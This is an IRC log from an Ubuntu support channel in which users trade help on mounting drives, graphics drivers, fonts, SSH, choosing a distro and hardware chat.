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noobcookgandalfcome: ah the world of linux09:52
noobcookhow do i change my rez09:52
fadeyHi, everyone. I'm wondering why partition naming changed to UUIDs in Edgy. Could anyone explain or give a link to read about it.09:52
noobcookhaha09:52
gandalfcomenoobcook: well you get what you pay for :D09:52
Angela_8008135SurfnKid, I will make you fonts.. give me a link to a good font editor :)09:52
noobcookexactly09:52
daftmanhmm i use nvidia09:53
DaneDogthen i got the git version of unichrome.sf which is via tech's driver redone... but i built it but i don't know how to load that instead of the openchrome driver09:53
SurfnKidAngela_8008135, hi09:53
daftmanso I can't really help you specifically09:53
DaneDogthe openchrome driver is kia.ko, and the unichrome is kia_drv.so09:53
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fokusleecorevette:  no one line09:53
fokuslee/dev/hdb1 ......0 0 all one line09:54
corevetteok now what fokuslee09:54
Davo_DinkumAnyone here use tilda? Is it a good program?09:54
MaricAngela_8008135: try Xmbdfed it is in the ubuntu universe repos,09:54
fokusleeok now save the file ctrl o09:54
SurfnKidAngela_8008135, hi there where from09:54
DaneDogi've only been playing with linux for 2 weeks and I play around and i get scared i might have messed something up so i reinstall it every 24 hrs damn near09:54
corevetteok fokuslee09:54
DaneDogXubuntu is the best i found so far tho...09:54
fokusleecorevette:  ok now just type sudo mount /dev/hdb109:55
DaneDogMandriva has too much stuff installed... seems cluttered09:55
DaneDogFC6 died at install09:55
noobcookfokuslee: if i wanted to install a program so i could test the security of my machine would you help me install it or is that against rules09:55
corevettefokuslee:mount: mount point /home/($urlogonname)/linuxrescue does not exist09:55
MaricDane the bst thing to do is make an install that you know will be sacrificial and then break it and try to fix it09:55
DaneDoghehe did that...09:55
fokusleenoobcook i don't really understand ur question09:55
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daftmanDaneDog: if you are playing around with linux then it is best to get popular hardware09:56
Jowignuyoga, I don't know. :-/ trying to search for a deb for you09:56
noobcookfokuslee: would u help me compile an unsupported program09:56
fokusleecorevette (urlogonname) is suppose to be ur own name09:56
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fokusleecorevette:  don't copy it09:56
MaricIm on my third install of edgy - the last one I wiped out a whole bunch of files that I needed to run trying to clean up09:56
corevetteon a livecd fokuslee?09:56
deepbluegenehi. i am new to ubuntu and just tried compiling a simple hello world c program but was not sucessful09:56
fokusleenoobcook sorri im bad at compiling09:56
daftmannoobcook: make config09:56
daftmannoobcook: make install09:56
fokusleei can't even compile kiba-dock rite09:56
noobcookyeh i need some dependencies ive never heard of before daftman09:57
fokusleedaftman its probably more complicated then dat09:57
daftmanwhat dependencies09:57
DaneDogyea... i bought this motherboard to play with some of my sparehardware to see if i wanted to install it on my 3.8ghz, but i'm not having much luck with it on this one so i'm kinda "if"ie09:57
gast,09:57
gandalfcomeI have an ati graphics card and use that for dual screen. unfortunatley I get a mouse offset on one of the screens. Help greatly appreciated.09:57
fokusleecorevette change urlogon name to ur name09:57
daftmannoobcook: what dependencies does it need?09:57
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corevettefokuslee mount: mount point /home/ubuntu/linuxrescue does not exist09:58
fokuslee($ ) just means sub ur own value in to it09:58
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DaneDoghow bad would an old ATI rage pro turbo 8mb card be in comparision to the Unichrome on board09:58
noobcookdaftman: configure: error: Library requirements (gtk+-2.0 >= 2.0.0) not met; consider adjusting the PKG_CONFIG_PATH environment variable if your libraries are in a no09:58
gnuyogajowi, really appreciate09:58
imhoteppHi09:58
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DaneDogdid u make that folder corvette?09:58
MaricDane ATI is not getting a lot of love in linux right now09:58
DaneDogneither is unichrome tho09:58
fokusleebut u go to /home/ubuntu and do ls linuxrescue is there rite?09:58
corevettefokuslee: root@ubuntu:~# mount: mount point /home/ubuntu/linuxrescue does not exist09:58
corevette-bash: mount:: command not found09:58
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Maricdane - a really cheap nvidia (even used) would be a better bet09:59
daftmannoobcook: apt-cache search gtk09:59
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MaricI got mine for $20.00 us09:59
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daftmanlook for development libraries09:59
DaneDogyea... what about intel onboard or is that just as bad?09:59
SurfnKidAngela_8008135, r u there09:59
noobcookdaftman: lol gg biggest console flood ever =p09:59
daftmannoobcook: apt-cache search gtk | grep development10:00
Maricintell might actually be better but I have not used them before10:00
noobcookk10:00
imhoteppi have an smb mount in my fstab whenever I remove "noauto" from options in the fstab line i get the message "select() to /dev/rtc to wait for clock tick timed out" and the system hangs during boot10:00
imhoteppany ideas?10:00
imhoteppubuntu dapper10:00
Maricwhat line in fstab?10:01
daftmani think this is it: libgtkmm2.0-dev10:01
daftmanso do this: apt-get install libgtkmm2.0-dev10:01
DaneDogwell thanks for the info guys... appreciate it10:01
noobcookdaftman: ty10:01
Maricdane also download/try supergamer2 iso10:01
daftmansorry we can't be of any help Danedog10:01
DaneDogi heard of that...10:02
noobcooksob its 40 megs10:02
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MaricI use it on my laptop10:02
imhoteppMaric: //server/public      /server/public       smbfs   user,noauto,credentials=/etc/samba/auth.server.myname     \   0       010:02
fokusleecorevette: so the linuxrescue folder is there and its saying the folder doesn't exist?10:02
daftmannoobcook: yes it is development file10:02
corevettefokuslee: root@ubuntu:~# mount: mount point /home/ubuntu/linuxrescue does not exist10:02
corevette-bash: mount:: command not found10:02
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corevettefokuslee....i created the folder10:02
daftmannoobcook: it is probable 40 mb because of all the other dependencies10:02
corevettethen i entered it again and tahts what came up fokuslee10:02
DaneDogI think i'm just gonna dual boot my other PC and donate this one to my girls house so i got a pc there to play with when i get bored...10:03
noobcookdaftman: well i love it when it auto installs dependencies so i cant complain10:03
DaneDogis it possible to dual boot linux on the same hd10:03
daftmanyes10:03
DaneDoglike 2 different distros?10:03
daftmanyes10:03
daftmanpartition it10:03
Maricimhotepp: I think that the noauto may be needed but I'm still new at samba so it may be wise to ask someone else10:03
daftmanfdisk10:03
fokusleedarn maybe itz b/c livecd doesn't liek dat try /dev/hdb1 /mnt/10:03
DaneDogafter i have ubuntu setup already?10:03
daftman!fdisk | DaneDog10:03
ubotuSorry, I don't know anything about fdisk - try searching on http://bots.ubuntulinux.nl/factoids.cgi10:03
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fokusleecorevette:  hold on i try to check something for u10:04
Jowignuyoga, Can't find a thing. maybe, if you're brave, you can install the feisty alpha https://lists.ubuntu.com/archives/ubuntu-devel-announce/2006-December/000225.html that includes 2.6.1910:04
daftmanyou can resize your partition10:04
imhoteppbut why does it mount it just fine when i mount it manually later on after boot10:04
DaneDogdon't i have to unmount the hd first to partition it10:04
Jowignuyoga, it is less than stable though10:05
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noobcookwhats better Wine or VMware10:05
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fokusleecorevette try to make the linuxrescue folder in /mnt/10:05
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daftmannoobcook: depends10:05
fokusleeif that doesn't work then i really don't no10:05
Maricimot: if Im not smoking crack, it is because fstab loads very early on and samba loads quite a bit later and is then able to do its job10:05
tn-hi10:05
noobcookdaftman: for games ect10:05
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Healot: noobcook depends on wht you're trying to achienve10:05
daftmanthen use cedega10:05
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daftmanor wine10:06
tn-I've got a problem with the intel-hda sound driver10:06
gandalfcomeI have an ati graphics card and use that for dual screen. unfortunatley I get a mouse offset on one of the screens. Help greatly appreciated.10:06
daftmanwith vimware you can't run games10:06
noobcookok wine it is =p its on automaix debs10:06
noobcookah k10:06
gnuyogajowi, looking at a production ready kernel10:06
daftmanvimware you basically need to install the whole os10:06
DaneDogI knew i shoulda just stuck with my good old 386 @ 25 mhz :)10:06
corevettefokuslee..its created10:06
Angela_8008135my husband says I smell like clam dip :(10:06
DaneDogthanks guys later10:06
tn-I used to have sound, but each time I rebooted, sound volume got quieter10:06
Healotwine just provides the windows application compatibility layer10:06
daftmanlol DaneDog, just get a decent gfx card10:06
daftmanfrom nvidia or ati10:06
noobcooknot ati for linux10:06
daftmanit should be too expensive10:07
MaricDaneDog: you had a 386? luxury! I just have a commodore 6410:07
noobcooknvidia is for linux ati is not10:07
noobcook><10:07
tn-does so had the same pb ?10:07
noobcookuntil they get their act together10:07
fokusleecorevette u have to change the line in /etc/fstab according ly10:07
DaneDoghaha10:07
Healotnot the whole OS (unlike vmware, which provide the virtualization of the OS)10:07
fokusleecorevette: then try mount /dev/hdb110:07
Jowignuyoga, if you already tried disconnecting all external devices (appart from mouse+keyboad+screen) before booting I don't see much else to do.10:07
DaneDogNope first pc was a 386, second was a 486DX210:07
noobcookmy first PC was an amiga10:07
daftmanlol if you can run ubuntu on 386 il be impress10:07
noobcooklol10:07
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Maricdane ahh my first was a vic 20 then the c64 then the 8080 etc...10:08
DaneDogthat had 2x speed none of that 33 mhz stuff i got a whooping 66mhz10:08
Jowignuyoga, I hope someone else got better ideas than me.10:08
corevettemokuslee: mount: wrong fs type, bad option, bad superblock on /dev/hdb1,10:08
corevette       missing codepage or other error10:08
corevette       In some cases useful info is found in syslog - try10:08
corevette       dmesg | tail  or so10:08
noobcookamigas ruled10:08
daftmanah the good old days10:08
DaneDogHey doom ran on that and not my 2.610:08
noobcooki used 2 play frogga10:08
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MaricDane woot 66mhz is teh roxor!10:08
DaneDoggo figure10:08
daftmandane if you liek to be dangerous: play around with gentoo10:08
noobcookmy laptop is only 600 mhz haha10:08
daftmanyou will probably compile you own kernel to run that mobo10:09
noobcookdaftman: whats so bad about gentoo anyway10:09
daftmannothing wrong with gentoo10:09
daftmanbut it is not for linux newb10:09
DaneDogi was thinking of trying to run that and dual boot xubuntu10:09
noobcookeeveryone is always like "shudder gentoo"10:09
Maricmy first comp had 20kb ram now I got 1 gig,10:09
daftmangentoo is a source distribution10:09
daftmanyou have to compile EVERYTHING10:09
noobcookdanedog use solaris 10 =p10:09
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DaneDogNO way10:09
noobcookoh10:09
noobcookstuff that10:09
noobcookhaha10:09
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daftmanand i mean literally everything including the kernel at installation10:10
Maricnoobcook: gentoo is a great distro, but it is the linux equivalent to going Amish10:10
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DaneDoghaha10:10
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daftmanlol10:10
noobcooki dont know what amish is10:10
daftmanMaric: but it is fantastic if you get the hang of it10:10
noobcookbut ill pretend to laugh =D10:10
MooseDoes Ubuntu have SSH built in?10:10
DaneDogthey live 35 miles from me...10:10
JowiMoose, you have to install it10:10
MaricI agree draft10:10
DaneDogno power... no water....10:10
bimberiMoose: ssh client yes, not server10:10
daftmanMoose: not the server10:10
DaneDogwell running water10:10
MooseJowi: Mind tossing me some instructions please?10:10
daftmanthe client10:10
DaneDogouthouses10:10
DaneDoglike it's 1800's yet10:11
JowiMoose, sudo apt-get install ssh10:11
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MooseThank'ee.10:11
daftmanMoose: apt-get ssh10:11
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daftmanMoose: apt-get install ssh10:11
RedGhostwhats the keyboard shortcut to kill a terminal application ?10:11
noobcookmoose it doesnt10:11
DaneDogwhat else is a good distro to try?10:11
daftmanctrl + C10:11
Maricnoobcook: http://en.wikipedia.org/wiki/Amish10:11
noobcookk10:11
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noobcookill check it soon im apt getting10:11
noobcookbrb10:11
daftmanwell i like ubuntu and gentoo so far10:11
JowiDaneDog, slackware. basic and refreshing.10:11
fokusleecorevette:  ok sorri i didn't see it10:11
RedGhostdaftman, thanks10:12
fokusleecorevette: itz complaining wrong file type10:12
daftmanbut if you want to be retro try Debian10:12
corevetteno problem fokuslee10:12
daftmanpure debian10:12
fokusleecorevette:  can u give me ur pastebin again?10:12
DaneDogi heard slackware is a little advanced too10:12
Maricahh slackware thats annother badge of honor distro10:12
Mooseso it installs off the disk?10:12
corevettewhich one....the newer one fokuslee?10:12
daftmanI haven't used it so I don't know10:12
daftmannothing is as advanced as gentoo10:12
fokusleecorevette:  newer one10:12
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corevettefokuslee: http://paste.ubuntu-nl.org/1280/10:12
JowiDaneDog, slackware is like going back to the roots of computing for me. it is straight forward (if you're used to linux)10:13
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DaneDognope... i'm used to dos10:13
SurfnKidAngela_8008135, oi10:13
daftmanJowi: what is that like?10:13
DaneDog and i hate XP10:13
Angela_8008135hi10:13
Jowidaftman, refreshing in a weird sence10:13
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DaneDog2000 is as far as I install as far as microsoft10:13
SurfnKidAngela_8008135, are you on linux10:13
noobcookman im starved who wants to cook me dinner10:13
daftmanJowi: I need more technical desciption that that10:13
MaricIve used gentoo, debian, slackware, SUSE, Ubuntu, and OpenBSD of the *nix family10:13
MooseAlright, I officially like Ubuntu better than any other Linix distro :P10:14
daftmanDaneDOg: lol xp is alright for kids10:14
MooseLinux*10:14
Moosebah, half asleep.10:14
DaneDogyea...10:14
MaricMoose: good to hear10:14
noobcookive used solaris 10 and ubuntu and debian RD and DSL and LL all in 4 days before that i was windows =p10:14
daftmanDaneDOg: if you want games just load an xp behind your linux firewall10:14
fokusleecorevette:  did u isntall linux some other file type?10:14
MaricI like the ubuntu for the tight integration and ease of use/admin10:14
fokusleecorevette:  can u type df -T10:14
daftmanhehehe i used dsl on my flash drive10:14
MooseIt's just so easy to use and such. Oh and another plus, it works!10:14
daftmanubuntu at home10:15
noobcookdsl is a whore10:15
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daftmangentoo at work10:15
noobcooklol10:15
Jowidaftman, great package management. sudo is optional. 2.4 kernel if you wish. very very very stable distro.10:15
Maricdebian for quick and dirty server stuff10:15
DaneDogah... I'll just stick to PS2 for a while...10:15
corevettewhat doy ou want on that fokuslee10:15
DaneDoghow is FC6?10:15
noobcooki use dsl on a palm pilot with thc hydra and im hax0r elitez0r10:15
noobcooklol10:15
DaneDogit locked my PC on install...10:15
fokusleedo df -T10:15
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gandalfcomeI have an ati graphics card and use that for dual screen. unfortunatley I get a mouse offset on one of the screens. Help greatly appreciated.10:15
fokusleecorevette:  cuz i want to check if ur file type is ext310:15
DaneDogand isn't close to ubuntu so I was stuck cuz nano isn't a command...10:15
Marichad too many issues installing FC myself,10:16
daftmanJowi: So far everything is stable for me in linux, except my gnome10:16
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fokusleecorevette:  /dev/hdb1     ext3  is it like this??10:16
daftmanJowi: i thought apt-get and portage are the best10:16
DaneDogI like XFCE it's small and i run KDE and Gnome apps10:16
Marichay quick question what is an Emacs? is it like a Vi?10:16
corevettefokuslee: http://paste.ubuntu-nl.org/1282/10:16
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noobcookYES10:16
MooseHow about ftp? Do I need to install that as well?10:17
noobcookdaftman: it compiled =D10:17
noobcookwoohooo10:17
daftmanMoose: No10:17
daftmanMoose: only activate service that you need10:17
daftmannoobcook: congrats10:17
morgsMaric: emacs is the complete opposite to vi. It includes entire programming languages and games10:17
Moosedaftman: What do you mean?10:17
noobcookhey daftman since ur in aus can i try it on u =p10:17
Maricahh, I wont need that then thx10:17
DaneDogit's a shame that more companies don't have drivers for linux for the hardware thou10:17
daftmannoobcook: usually always look the package that end with dev when you want to compile something10:17
daftmansure10:18
MaricDaneDog: amen brother!10:18
noobcookthanks10:18
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prologicIs "edgy" the correct/latest sources ot use ?10:18
fokusleecorevette:  sorri that command only show the file type of a mounted drive10:18
daftmantry what tho?10:18
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morgsprologic: yes10:18
fokusleecorevette:  the only thin i can think of is try to put auto instead of ext310:18
prologick ta10:18
daftmanMoose: dont install ftp, it is not secure10:18
prologicjust having problems with the ndiswarpper10:18
corevettewhere fokuslee10:18
Maricpro> yes if you have installed ubuntu edgy, no if you have dapper installed10:18
prologicit won't load and gives no reason why10:18
DaneDogI read they are accepting testers for hoary already10:18
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morgsDaneDog: lol you mean feisty... hoary was ages ago!10:19
Jowidaftman, slackware is like the basic Volvo. rocksolid, secure and a bit boring. Ubuntu is like that ferrari - shiny, speedy and well manufactured. too different breeds. can't really compare them.10:19
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DaneDogreally?10:19
jedricki need help.. i mounted a windows drive on my linux box.. and it's on "/mnt" but i can't access the folder when i try to open it.. anyone can help me?10:19
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JowiMoose, daftman is right. use ssh.10:19
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bimberiMoose: no ftp server installed by default.  The default Ubuntu install has no service that listens on external ports10:19
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daftmanJowi: slackware is GPL?10:20
Jowisure is daftman10:20
morgsjedrick: how did you mount it?10:20
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daftmanJowi: and free as in free beer and free speech?10:20
bimberiMoose: (cups listens on locahost)10:20
DaneDogsorry it's herd10:20
MaricJowi: I agree slackware is very boring to play with - it just keeps working quietly away...10:20
jedrickmorgs, mount -t ntfs /dev/hda5 /mnt10:20
fokusleecorevette:  u mite have installed ur linux with reiserfs10:21
morgsjedrick: sudo?10:21
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DaneDogthey are testing herd the new release...10:21
jedricknope :)10:21
DaneDoghttp://www.ubuntuforums.org/forumdisplay.php?f=20110:21
Maricdraftman: yep all free10:21
fokusleecorevette:  try to change the file type from ext3 to reiserfs10:21
jedrickmorgs, i forgot to sudo :)10:21
DaneDoghow can they test that if fiesty isn't out yet...?10:21
corevettehow fokuslee10:21
fokusleecorevette:  in /etc/fstab10:21
Jowidaftman, as free as it gets. slackware.com is there if you want more info :)10:21
morgsDaneDog: it's a herd of feisty fawns10:21
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fokusleecorevette: sudo nano -w /etc/fstab10:21
DaneDogoh!!10:21
noobcookdaftman: ** ERROR **: file callbacks.c: line 544 (popen_re_unbuffered): should not be reached10:22
noobcookaborting...10:22
Maricdraftman: it is an Ur distrom started very early on and has been there done that for ages10:22
corevettei know where in fstab fokuslee10:22
DaneDogi'm lost10:22
jedrickmorgs,  how to mount to windows drive automatically on boot?10:22
daftmanJowi: i heard some distro isn't really free like xandros or something10:22
fokusleecorevette:  yeah see where it had ext3 change it to reiserfs10:22
morgsDaneDog: the herd (1,2,...) "releases" are milestone versions. There's actually a daily CD image produced every day for feisty but it is considered unstable...10:22
fokusleecorevette:  copy the last line back to me please10:22
DaneDogbreezy and dapper and edgy and ......10:22
jedrickhow to unmount the mounted drives on my linux box?10:22
DaneDogcan i get that somewhere?10:22
daftmannoobcook: what are you trying to do?10:22
morgsjedrick: You need to edit /etc/fstab. That file has entries for partitions, permissions and when to mount them.10:22
MaricDaneDog: fiesty fawn10:22
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corevettefokuslee: /dev/hdb1   /mnt/linuxrescue ext3    noatime,umask=000              0 010:22
noobcookdaftman:  its just a remote login10:23
DaneDogcan anyone try it?10:23
noobcookbut its incomplete i think10:23
SurfnKid!fonts10:23
ubotuFont installation basics here: https://help.ubuntu.com/community/FontInstallHowto - No fonts in Flash? Install "msttcorefonts" (from !Multiverse), "gsfonts", and "gsfonts-x11". No fonts in MPlayer? see !MPlayer10:23
fokusleecorevette good the part where it says ext3 change it too reiserfs10:23
daftmannoobcook: you want to remote login to my computer?10:23
Jowidaftman, here's a nice overview of what some distros come from if you're interested (good overview) http://photos1.blogger.com/blogger/3370/2500/1600/GNULinux.jpg10:23
Maric!fiesty Maric10:23
ubotuSorry, I don't know anything about fiesty Maric - try searching on http://bots.ubuntulinux.nl/factoids.cgi10:23
noobcookdaftman: nah i was just testing if it works how it says it does10:23
fokusleecorevette:  corevette i want u to change it b/c it complaints that the ext3 is a bad file system type10:24
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morgsDaneDog: wait for "herd 2" to be released, it's the next Alpha release. Don't upgrade to it though, still many many bugs but you can test.10:24
DaneDogsomeone can remote login mine if they want... i don't care :)10:24
corevetteok now what fokuslee10:24
Jowi!feisty | Maric10:24
ubotuMaric: The next version of Ubuntu (7.04; codenamed "Feisty Fawn"), it should be released in April 2007. At the moment it is alpha. Schedule: https://wiki.ubuntu.com/FeistyReleaseSchedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help in #ubuntu+110:24
DaneDognot much to do on my pc10:24
fokusleesave and exit and try to sudo mount /dev/hdb1 again10:24
DaneDogsweet10:24
morgs!feisty Maric10:24
ubotuSorry, I don't know anything about feisty Maric - try searching on http://bots.ubuntulinux.nl/factoids.cgi10:24
daftmanDaneDog: that is if you leave your server running10:24
fokusleecorevette:  if that fails try to put auto inplace of reiserfs to try autodetect10:24
DaneDogdaftman: huh?10:24
daftmannoobcook: what are you using to  do remote login? vnc? ssh?10:25
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daftmanDaneDog: people cant login to your computer if you don't have any server running e.g. like vnc, ssh, ftp, etc10:25
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noobcookdaftman: ciso protocol, SNMP10:25
DaneDogthis is what is so awesome about ubuntu.... the community...10:25
DaneDogoh...10:25
corevettefokuslee...neither worked10:26
corevettefokuslee stop for a sec10:26
corevettefokuslee..i don't have much to save...but i have one last question10:26
fokusleecorevette:  go ahead10:26
DaneDogwhy are so many people on this channel and idle?10:26
MaricI guess fiesty fawn ISOs are availiable at the www.ubuntu.com/testing/herd110:26
fokusleecorevette:  try to post ur question on the forum10:26
daftmanyea what about it noobcook?10:26
fokusleemaybe someone can help10:26
corevettefokuslee....when i plugged both hard drives in at the same time....the live cd wouldn't start10:27
noobcookdaftman: thats what im using for remote login10:27
corevettefokuslee...but it would start if i plugged in only one hard drive10:27
bimberiDaneDog: Because they like to watch :)10:27
daftmanI know: but with what software? SNMP is just a protocol10:30
fokusleecorevette:  does it matter which harddrive u plug in?10:30
DaneDoghaha bimberi... you just came out of the woodwork :)10:30
corevetteno fokuslee...but it would freeze if i plugged in both10:30
daftmanDaneDog: well I am paying it back and forward10:30
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daftmanDaneDog: some people help me before and now I help others back when I can10:30
Maricthis chat is the second reason why I am staying with ubuntu10:30
fokusleecorevette:  the only thing i can think of is your powersupply is not big enuff did u just add a new harddrive?10:30
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Maricthe first is the distro itself10:30
corevetteit freezes during while the live cd is loading10:30
DaneDogIf i had any knowledge i'd do more then just ask question and shoot the Sh*t10:30
fokusleecorevette:  it also mite by ur mobo i had the same problem when i plug in both sata and pata it freezes10:30
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fokusleecorevette:  it could be your mobo10:30
MeisterZopfanyone knows a solution to the skype freeze problem on ubuntu?10:30
DaneDogbut i'm trying does that count?10:30
corevettewhats mobo fokuslee?10:30
fokusleecorevette:  soo this mite be a hardware problem did u just get a new drive?10:30
MaricDaneDog: it counts10:30
mneptokcorevette: what northbridge?10:30
corevettemneptok northbridge?10:30
fokusleemother board10:30
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corevetteyou think i'm missing a few slavesor something fokuslee?10:30
fokusleecorevette: slave and master shouldn't matter10:31
fokusleeitz auto select rite?10:31
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DaneDogthanks...10:31
mneptokcorevette: who makes the motherboard? what controllers does it use? is te PATA cntroller internal to the northbridge or a third party?10:31
DaneDogi appreciate that...10:31
fokusleecorevette:  did u just put in a new harddrive?10:31
corevettei've used both before at the same time fokuslee....10:31
corevettejust recently i can't fokuslee10:31
DaneDogI think i'm gonna stick it out and learn to live without unreal tournament for a while... :)10:32
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MaricDaneDog you like fps type games then?10:32
fokusleei really really don't no im really sorri10:32
DaneDogI'm learning alot about linux... but i'm ruining installations10:32
fokusleecorvet im soo out of ideas lol10:32
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DaneDogthat and RPG are all i play10:32
SurfnKidhow do you install fonts?10:32
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Marichang on a tic10:32
corevetteits okay fokuslee10:32
SurfnKidIve got a few fonts here with me10:32
DaneDogsure10:33
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SurfnKiddo I just copy that to /usr/share/fonts?10:33
corevettei have to go...it's 1:30 in the morning and i've got high school in 7 hours..thanks for your help fokuslee10:33
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JowiSurfnKid, yep, or to $HOME/.fonts10:33
fokusleecorevette:  yeah try to ost on the forum10:33
fokusleeu in colleg?10:35
fokusleeim in cali too so itz same time for me10:35
corevettefokuslee....nope high school10:35
MaricDaneDog: stop by www.quadropolis.us10:35
corevettefokuslee mountain view10:35
DaneDogwhat's that?10:35
fokusleeok ok go too bed10:35
fokusleeits a place in cali10:35
fokusleecorevette:  im in berkeley10:35
corevettefokuslee....you goin to cal?10:35
Marica linux fps game/comunity site10:35
SurfnKidJowi, would you suggest either or solution?10:35
fokusleei finished : )10:35
DaneDogcube games won't run.....10:35
DaneDogunichrome sucks... :(10:35
Maricohhh right10:35
corevettefokuslee....curiosity...what was your highschool gpa10:35
Maricsrry10:35
DaneDogit's ok...10:35
fokuslee4.210:35
JowiSurfnKid, both work. /usr/share/fonts are system wide, /home/user/.fonts are just for that user.10:35
DaneDogmaybe tommorrow i'll check to see if i got any video cards to use...10:35
MaricI usu get along ok - but I use nvidia10:35
corevettefokuslee...damn okay i think i need more sleep to get up that high.. thanks again10:35
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fokusleecorevette:  cal look at gpa but also alot of extra activity10:35
fokusleecorevette:  ok good luck10:35
DaneDogi think anything is better then unichrome right now10:35
Marichehe true10:35
fokusleeand 9910:35
deepsamy wireless is not working please help10:35
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deepsai have ipw394510:35
deepsaplease help10:35
SurfnKidJowi, thanks man!10:36
DaneDogit kinda sucks... because in between Mandriva and Xubuntu I installed 2000 pro and the card worked pretty good for games10:36
MooseWhat kind of security features does ubuntu have?10:36
DaneDoganyone got any overclocking expierence with celeron?10:37
Maricwell, understand that linux is the red headed step child of driver support10:37
lupine_85Moose: you name it, it's go it ;)10:37
lupine_85got*10:37
DaneDogyea i noticed :)10:37
MooseBy default, is everything pretty secure?10:37
Maricmoose check out the bastile linux package10:37
lupine_85by default, very secure10:37
MooseCool, that's all I needed to know :)10:37
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lupine_85no open ports at all (compared to MS's ~20 or so); no vulnerability to viruses, most buffer overflows;10:37
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lupine_85etc10:37
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Maricmoose for the paranoid the bastille package rocks10:38
lupine_85not to mention timely updates whenever a vulnerability is found ;)10:38
Maricthat and grsecurity and away you go to secure ops10:38
mneptokdeepsa: sudo aptitude install linux-restricted-modules10:38
deepsaok10:38
deepsareboot needed?10:38
mneptokyes10:39
MooseWell my network is somewhat insecure, I have nothing blocking my ports and such.10:39
DaneDogI oc my 2.6 @ 113fsb and it's ok, but if i push it any further it locks the system... i heard rumors of a burn in effect where if u let it run at a higher bus it gets used to it and works better... ever hear of that?10:39
Maricubuntu security updates are some of the fastest and best10:39
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lupine_85Moose: there's a built in firewall in linux, but by default it's not needed10:39
lupine_85due to the lack of open ports :)10:39
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MooseHm.10:39
lupine_85no NetBIOS/Samba/etc10:39
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fokusleelupine_85: so ur saying clamav and firestarter are just wastes?10:39
lupine_85not at all10:39
MooseSince I installed SSH, does that open up some vulnerability?10:40
lupine_85they're great as soon as you start opening ports10:40
jedrickmorgs, how to mount my windows drives everytime i boot up my computer?10:40
lupine_85Moose: increases risk very slightly10:40
MaricDaneDog: yes, and due to my *limited* electronics training (avionics tech) I am inclined to dislike that statement10:40
mneptokfokuslee: ClamAV is 99% useless as regards Linux10:40
MooseAlright, so it's not really waving a flag saying "Hey, we've got free SSH!".10:40
lupine_85the SSH server has a good codebase; you don't get vulnerabilities in it often at all10:40
jedrickhow to mount my windows drives everytime i boot up my computer?10:40
DaneDogso you don't see it happening...10:40
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lupine_85mneptok: it's good for protecting all your windows-using friends ;)10:40
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lupine_85Moose: only if people port-scan you10:41
fokusleelupine_85: hehe so try10:41
mneptoklupine_85: that's what Ubuntu CDs are for10:41
MooseIs there a way to block port scanning?10:41
lupine_85erm, depends10:41
fokusleelupine_85 i didn't do anything with iptables so im good rite i mean i torrent but the ports are closed after automatically rite?10:41
lupine_85but for extra protection, just use port knocking or (best) SSH key authentication10:41
MaricDaneDog: no not really, and I am more inclined to think that there could be hardware damage if you are unlucky10:41
lupine_85fokuslee: well, not really, no10:42
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Mooseport knocking?10:42
deepsaTHANKS its working10:42
lupine_85yeah10:42
MooseNever heard of it, heh.10:42
lupine_85you send a specific code to a specific port on your server10:42
mneptokdeepsa: np10:42
DaneDogyea... i have 4 fans running and my cpu doesn't ever get over 31c10:42
lupine_85that then starts the SSH daemon for a short period for you to log in10:42
deepsasomebody tell me ubuntu svn repo for beryl i wanna install thru synaptic the svn version10:42
DaneDogso it's not getting too hot, but the voltage is up .05v10:42
lupine_85it makes port scans essentially useless against you10:42
MooseHow would I enable SSH key authentication?10:42
fokusleelupine_85 do u have a computer related job?10:42
fokusleeif i may ask?10:42
lupine_85no10:42
lupine_85I'm a biologist :p10:43
fokusleedarn u no soo much10:43
jedricki can't play mp3 file on my amarok.. why is that? can someone help me?10:43
fokusleelol10:43
fokusleelupine_85:  master? phd?10:43
MaricDaneDog: its not just heat, semiconductors like everything just so, if its off al kinds of wierd things happen10:43
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lupine_85BSc.10:43
lupine_85(2nd year now)10:43
deepsaanybody help10:43
deepsahelp please10:43
fokusleelupine_85:  i finished mcb and math but i didn't really like bio10:43
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lupine_85if it makes you feel any better, I've just spent ~17 hours trying to convert an avi to another format :D10:44
MaricDaneDog: votage, current and other things all can/do have their effects and when they are pushed too hard with anyof these smoke comes out10:44
lupine_85finally successed10:44
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lupine_85succeeeded rather10:44
fokusleelupine_85:  wow noo way why soo long10:44
fokusleethats crazy10:44
DaneDogoh... cuz i also heard that intel "supposedly" uses the same chip for the P4 as the Celeron but different onboard cache and that they basically speed test the chip till it can't go anymore and that's what it's rated at...10:44
MooseAnyone have any tips for running 8 servers out of your house? As far as throwing breakers all the time? Figured I'd ask since we have all these science people here.10:44
lupine_85ever heard of a .smv format?10:44
lupine_85Moose: in general, don't do it10:45
DaneDogand if that's true, then my processor is going to die real soon :)10:45
Mooselupine_85: Why not?10:45
Marichad an issue with a nav/comm radio the other day - a student put is DMM on resistance measureing and probed the board w/ power on and that alone nuked a $300.00 transistor and a cpu and other things10:45
lupine_85you can buy space in a datacenter for around the same costing, and get more resilience besides :p10:45
Maricchips are sensitive buggers10:45
fokusleelupine_85: .smv? never but i wiki it hehe10:46
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lupine_85it's not in the wiki10:46
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lupine_85that obscure :D10:46
MooseThe same price? Co-lo hosting for a full rack is in excess of $2500 / month here :P10:46
lupine_85?!10:46
deepsa:D10:46
lupine_85can you virtualise it? or host overseas?10:46
fokusleeMaric wut u teach?10:46
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Mooselupine_85: Was that directed at me?10:47
lupine_85yeah10:47
MaricDaneDog: they do punch out many chips at a time from the same silicon, but their tests are pretty accurate if conservative10:47
lupine_85or how about 4 procs in 1U of space?10:47
MooseHost overseas? I'd rather not, shipping and all...10:47
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DaneDoghaha... that's not funny i know someone who used a multimeter on a Mitsubishi Eclipse ECU to measure ohms and had it set for something else and it didn't do the PCM much good... cost him like 250 for another turbo PCM10:47
lupine_85oh, you already have the hardware10:47
lupine_85?10:47
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MooseYep :P10:47
Maricfokuslee: I teach basic electronics and soldering, I also help in an advanced communications class on aircraft radios and ILS systems10:47
MooseGot >300 pieces of random sizes and such of RAM too :P10:48
lupine_85http://linitx.com/product_info.php?cPath=40&products_id=267&osCsid=5f4a37892d6834c9519a0f6623aa2bfe :)10:48
lupine_85Moose: ^ that is cool ^10:48
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fokusleeMaric:  sounds really cool, lol im just looking for career advice thinking about changing10:48
lupine_858 CPUs in 2U of space, if you get two10:48
DaneDogsounds like you gotta lot of knowledge in general Maric10:48
Maricfokuslee: I'll be happy to talk about it10:49
Mooselupine_85: That would solve some problems :P10:49
MaricDaneDog: I got it by screwing up alot, graduated magna cum clod at the school of hard knocks10:49
